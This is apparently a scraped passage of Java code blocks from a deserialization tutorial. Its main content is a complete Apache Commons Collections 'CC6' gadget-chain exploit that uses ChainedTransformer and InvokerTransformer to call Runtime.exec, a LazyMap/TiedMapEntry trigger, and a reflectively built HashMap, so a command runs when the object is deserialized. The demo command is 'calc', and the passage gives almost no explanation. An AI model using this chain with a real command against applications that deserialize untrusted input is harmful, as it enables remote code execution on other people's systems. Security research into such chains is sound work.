Copy public Object get( Object key) {
// create value for key if key is not currently in the map
if ( map . containsKey (key) == false ) {
Object value = factory . transform (key);
map . put (key , value);
return value;
}
return map . get (key);
}
Copy HashMap < Object , Object > map = new HashMap < Object , Object >();
map . put ( "k1" , "v1" );
Copy import org . apache . commons . collections . Transformer ;
import org . apache . commons . collections . functors . ChainedTransformer ;
import org . apache . commons . collections . functors . ConstantTransformer ;
import org . apache . commons . collections . functors . InvokerTransformer ;
import org . apache . commons . collections . keyvalue . TiedMapEntry ;
import org . apache . commons . collections . map . LazyMap ;
import java . io . ByteArrayInputStream ;
import java . io . ByteArrayOutputStream ;
import java . io . ObjectInputStream ;
import java . io . ObjectOutputStream ;
import java . lang . reflect . Array ;
import java . lang . reflect . Constructor ;
import java . lang . reflect . Field ;
import java . util . HashMap ;
import java . util . Map ;
public class CC6 {
public static void main ( String [] args) throws Exception {
Transformer [] transformers = new Transformer [] {
new ConstantTransformer( Runtime . class ) ,
new InvokerTransformer(
"getMethod" , new Class []{ String . class , Class [] . class } , new Object []{ "getRuntime" , null }) ,
new InvokerTransformer(
"invoke" , new Class []{ Object . class , Object [] . class } , new Object []{ Runtime . class , null }) ,
new InvokerTransformer(
"exec" , new Class []{ String . class } , new Object []{ "calc" })
};
Transformer transformerChain = new ChainedTransformer(transformers) ;
Map map = new HashMap() ;
Map lazyMap = LazyMap . decorate (map , transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap , "x" ) ;
Map expMap = makeMap(tiedMapEntry , "xxx" ) ;
System . out . println ( "No calculator Pop :)" );
Thread . sleep ( 5000 );
ByteArrayOutputStream baos = new ByteArrayOutputStream() ;
ObjectOutputStream oos = new ObjectOutputStream(baos) ;
oos . writeObject (expMap);
oos . close ();
ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream( baos . toByteArray())) ;
ois . readObject ();
}
public static Map makeMap ( Object key , Object value) throws Exception {
HashMap < Object , Object > map = new HashMap <>();
// 设置size为1
setFieldValue(map , "size" , 1 ) ;
// 构造Node
Class < ? > nodeClazz = Class . forName ( "java.util.HashMap$Node" );
Constructor < ? > nodeCons = nodeClazz . getDeclaredConstructor ( int . class , Object . class , Object . class , nodeClazz);
nodeCons . setAccessible ( true );
Object node = nodeCons . newInstance ( 0 , key , value , null );
// 构造tables
Object tbl = Array . newInstance (nodeClazz , 1 );
Array . set (tbl , 0 , node);
setFieldValue(map , "table" , tbl) ;
return map;
}
public static void setFieldValue ( Object obj , String name , Object value) throws Exception {
Field field = obj . getClass () . getDeclaredField (name);
field . setAccessible ( true );
field . set (obj , value);
}
}